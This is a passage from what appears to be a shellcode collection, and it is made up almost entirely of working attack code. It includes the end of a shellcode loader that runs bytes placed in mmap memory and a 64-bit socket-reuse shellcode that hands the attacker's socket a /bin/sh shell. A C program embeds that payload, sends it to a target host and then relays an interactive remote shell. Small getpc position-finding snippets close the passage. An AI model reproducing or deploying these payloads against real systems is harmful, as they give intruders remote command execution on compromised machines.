	movb %cl, (%eax, %esi, 1)
	inc %esi
	jmp inject_loop               #places shellcode into mmap() memory
 
ret_to_shellcode:
	push %eax                     #pushes mmap memory address and returns to it
	ret
 
inject_finished:
	inc %esi
	movb $0xc3, (%eax, %esi, 1)   #adds ret to the code code so that loader can exit
	call ret_to_shellcode
 
exit:
	xor %eax, %eax
	mov %eax, %ebx
	inc %eax
	int $0x80	               #exit
 

Socket-reuse

./socket-reuse/socket-reuse.as

# 119 bytes
.section .data
.section .text
.globl _start
_start:
jmp start
 
exit:
  push $0x3c
  pop %rax
  syscall
 
start:
  push $0x02
  pop %rdi
 
make_fd_struct:
  lea -0x14(%rsp), %rdx
  movb $0x10, (%rdx)
  lea 0x4(%rdx), %rsi # move struct into rsi
 
loop:
  inc %edi
  test %di, %di # loop until 65535 then exit
  je exit
 
stack_fix:
  lea 0x14(%rdx), %rsp
 
get_peer_name:
  sub $0x20, %rsp
  push $0x34
  pop %rax
  syscall
 
check_pn_success:
  test %al, %al
  jne loop
 
# If we make it here, rbx and rax are 0
check_ip:
  push $0x1b
  pop %rcx
  mov $0xfeffff80, %ebx
  xor $0xffffffff, %ebx
  cmpl %ebx, (%rsp,%rcx,4)      
  jne loop
 
check_port:
  movb $0x35, %cl
  mov $0x2dfb, %bx
  xor $0xffff, %bx
  cmpw %bx,(%rsp, %rcx ,2) # (%rbp,%rsi,2)
  jne loop
 
reuse:
  push %rax
  pop %rsi
 
  dup_loop:       # redirect stdin, stdout, stderr to socket
    push $0x21
    pop %rax
    syscall
    inc %esi
    cmp $0x4, %esi
    jne dup_loop
 
execve:
  pop %rdi
  push %rdi                      
  push %rdi
  pop %rsi                     
  pop %rdx                       # Null out %rdx and %rdx (second and third argument)
  mov $0x68732f6e69622f6a,%rdi   # move 'hs/nib/j' into %rdi
  shr $0x8,%rdi                  # null truncate the backwards value to '\0hs/nib/'
  push %rdi      
  push %rsp 
  pop %rdi                       # %rdi is now a pointer to '/bin/sh\0'
  push $0x3b                     
  pop %rax                       # set %rax to function # for execve()
  syscall                        # execve('/bin/sh',null,null);
 

./socket-reuse/socket-reuse-send.c

#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
 
char shellcode[] = {
"\xeb\x05\x6a\x3c\x58\x0f\x05\x6a\x02\x5f\x48\x8d\x54\x24\xec\xc6"
"\x02\x10\x48\x8d\x72\x04\x66\xff\xc7\x74\xe7\x48\x8d\x62\x14\x48"
"\x83\xec\x20\x6a\x34\x58\x0f\x05\x84\xc0\x75\xea\x6a\x1b\x59\xbb"
"\x53\xef\x2a\xfe\xf7\xd3\x39\x1c\x8c\x75\xdb\xb1\x35\x66\xfb\xfe"
"\xff\xf7\xd3\x66\x39\x1c\x4c\x75\xcd\x50\x50\x5e\x6a\x21\x58\x0f"
"\x05\xff\xc6\x83\xfe\x04\x75\xf4\x5f\x57\x57\x5e\x5a\x48\xbf\x6a"
"\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b"
"\x58\x0f\x05"
};
 
 
void error(char *err)
{
  perror(err);
  exit(0);
}
 
int main(int argc, char *argv[])
{
  struct sockaddr_in serv_addr, bind_addr;
  struct hostent* server, *bind_add;
  char buf[1024], inbuf[1024];
  int port = atoi(argv[2]);
  int bport = atoi(argv[4]);
  int sock = socket(AF_INET, SOCK_STREAM, 0);
 
  if (sock < 0)
    error("Error: socket(): ");
 
  bind_add = gethostbyname((char *)argv[3]);
  bzero((char *) &bind_addr, sizeof(bind_addr));
  bind_addr.sin_family = AF_INET;
  bcopy((char *)bind_add->h_addr, (char *)&bind_addr.sin_addr.s_addr, bind_add->h_length);
  bind_addr.sin_port = htons(bport);
 
  if (bind(sock,(struct sockaddr *) &bind_addr,sizeof(bind_addr)) < 0)
    error("Error: bind(): ");
 
  server = gethostbyname(argv[1]);
  bzero((char *) &serv_addr, sizeof(serv_addr));
  serv_addr.sin_family = AF_INET;
  bcopy((char *)server->h_addr, (char *)&serv_addr.sin_addr.s_addr, server->h_length);
  serv_addr.sin_port = htons(port);
 
  printf("Connecting to %s\n", argv[1]);
  if (connect(sock,(struct sockaddr *) &serv_addr,sizeof(serv_addr)) < 0)
    error("Error: connect(): ");
 
  printf("Sending payload\n");
  if (send(sock, shellcode, strlen(shellcode), MSG_NOSIGNAL) < 0)
    error("Error: write(): ");
 
  while(fgets(buf, 1024, stdin) != NULL)
  {
    if (send(sock, buf, strlen(buf), MSG_NOSIGNAL) < 0)
      error("Error: write(): ");
 
    if (recv(sock, inbuf, 1024, 0) < 0)
      error("Error: read(): ");
 
    printf("%s", inbuf);
 
    bzero(inbuf, 1024);
    bzero(buf, 1024);
  }
  return 0;
}
 

Environment

./environment/getpc-64.s

{{code|text=
 
# 12 - bytes
 
jmp startup
getpc:
   mov (%rsp), %rax
   ret
startup:
call getpc       # the %rax register now contains %rip on the next line
 

./environment/getpc-32.s

# 11 bytes
jmp startup
getpc:
   mov (%esp), %eax
   ret
startup:
call getpc       # the %eax register now contains %eip on the next line